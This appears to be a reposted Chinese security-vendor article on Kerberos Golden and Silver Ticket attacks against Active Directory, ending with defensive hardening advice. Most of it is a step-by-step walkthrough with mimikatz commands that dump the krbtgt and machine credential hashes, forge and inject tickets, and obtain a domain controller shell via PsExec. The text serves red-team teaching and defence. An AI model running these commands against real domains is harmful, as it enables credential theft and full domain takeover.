前置说明
01
黄金票据和白银票据说明
票据传递攻击有两种类型,分别为黄金票据和白银票据。白银票据通常用于攻击域控,黄金票据则用于拿下域控后权限维持,且黄金票据是伪造发票人,而白银票据则是伪造门票。mimikatz工具通过lsass.exe进程获取Hash信息。
02
Kerberos验证组成说明
KDC是密钥分发中心由AS和TGS组成,其中AS为身份验证,TGS为权限验证。
DC |
Domain Controller,域控 |
KDC |
Key Distribution Center,秘钥分发中心 |
AD |
Account Database,账户数据库 |
AS |
Authentication Server,身份验证服务 |
TGS |
Ticket Granting Server,票据授予服务 |
TGT |
Ticket Granting Ticket,票据。票据中心授予的票据先去AS身份验证服务,返回身份验证,带着身份验证去TGS拿票据,带着拿回来的票据去访问服务器。 |
金票:仿造TGT票据可以获取任意Kerberos的访问权限,由KRBTGT NTLM Hash加密,同KDC交互但不同AS交互。
银票:仿造TGS票据只能访问指定的服务如CIFS,由服务账号NTLM Hash加密,不同KDC交互直接访问Server。
一
黄金票据(Golden Ticket)
原理
黄金票据就是伪造KRBTGT用户的TGT票据,KRBTGT用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。
利用前提
1.拿到域控管理员用户(即拿到域控),适合做权限维持。
2.有KRBTGT用户的Hash值(AES Hash、NTLM Hash等均可,后面指定一下算法就行了)。
3.获取要求:域名称、域的sid值、域的KRBTGT账户的NTLM密码哈希,伪造域用户名
获取域名称和域sid值,用户的sid值去掉最后一个杠的数字就是域sid值:
net time /domain
whoami /all
在域管理员账户上执行获取域KRBTGT账户的NTLM哈希:
mimikatz.exe "lsadump::dcsync /domain:zack.com /user:krbtgt" "exit" > krbtgt.txt
*左右滑动查看更多
生成黄金票据文件,这个票据文件可以长期保存用于权限维持使用:
mimikatz.exe "kerberos::golden /admin:administrator /domain:xxxx.com /sid:S-
1-5-21-4117774258-2416962305-3510056485 /krbtgt:d90cad43777777779acb6abd973ca756
/ticket:xxxx.kirbi" exit
*左右滑动查看更多
参数说明:
/admin:伪造的用户名
/domain:域名称
/sid:sid值,注意是去掉最后一个-后面的值
/krbtgt:KRBTGT的HASH NTLM值
/ticket:生成的票据文件名称
登录域内普通用户,先清空凭据在将黄金票据导入内存中:
kerberos::purge
kerberos::ptt C:xxxx.kirbi
测试域控权限,看到dir命令可以直接访问域控C盘文件,说明普通域用户已经提权为域管理员权限:
使用PsExec64.exe工具获取域控shell:
二
白银票据(Silver Ticket)
原理
黄金票据是伪造TGT(门票发放票),而白银票据则是伪造TGS(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用如 cifs(文件共享服务)、mssql、winrm(windows远程管理)、DNS等。
利用前提
拿到域内目标机器Hash(是域成员主机,也可以是域控)。
获取要求:
域名称、域sid、可利用的服务、目标主机的NTLM HASH。
可选服务列表:
获取域名称和域sid值,用户的sid值去掉最后一个杠的数字就是域sid值:
net time /domain
whoami /all
在域成员本地管理用户或者域控管理账户获取域成员目标机的NTLM Hash值:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > hash.txt
*左右滑动查看更多
这里使用域控管理员账户获取Hash,Username值带$符号的就是域成员主机的Hash值。
生成白银票据文件,这个票据文件可以长期保存用于权限维持使用:
mimikatz.exe "kerberos::golden /domain:zack.com /sid:S
-1-5-21-4117774258-2416962305-3510056485 /target:DC.xxxx.com /service:cifs /rc4:
0cfe990984764d8412e7d3f776ffb9ae /user:test /ticket:silver.kirbi" "exit"
*左右滑动查看更多
参数说明:
/domain:域名
/sid:域sid
/target:目标服务器主机名
/service:服务类型
/rc4:目标主机NTLM Hash
/user:随意输入的伪造名称
/ticket:生成的票据文件名称
登录域内普通用户,先清空凭据在将白银票据导入内存中:
kerberos::purge
kerberos::ptt C:silver.kirbi
测试域控权限,看到dir命令可以直接访问域控C盘文件,说明普通域用户已经提权为域管理员权限:
三
防御加固策略
服务器防御策略建议
黄金票据攻击防御:
1.定期更改krbtgt的密码,使原有的票据认证失效。
2.禁止域管理员登入其他服务器只允许普通域用户登入,防止域管理员的ntlm等登录记录留存在其他服务器被窃取。
白银票据攻击防御:
1.安装安装KB2871997漏洞补丁,防止PTH传递。
2.开启PAC(Privileged Attribute Certificate)特权属性证书保护功能,PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效。
开启方式:将注册表HKEY_LOCAL_MACHINESYSTEMCurrenControlSetControlLsaKerberosParameters中的ValidateKdcPacSignature设置为1。
安全设备防御建议
1.在内网安装流量传感器将流量导入SOC态势感知设备,当攻击者发起黄金或白银票据攻击时将会发起告警,以便及时进行应急响应。
2.在内网服务器集群安装EDR终端安全设备,当攻击者发起攻击时将会告警并且能及时阻断攻击,终端安全设备也可以批量管理被攻击的服务器,能做到有效管理和隔离已沦陷机器。
3.在内网部署服务器日记审计设备,当察觉到被黄金或白银票据用于长期权限维持时可以在日记审计设备快速查询定位被攻击初始时间,锁定被攻击范围以及时进行应急处置。
— 往期回顾 —
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 黄金白银票据攻击与防御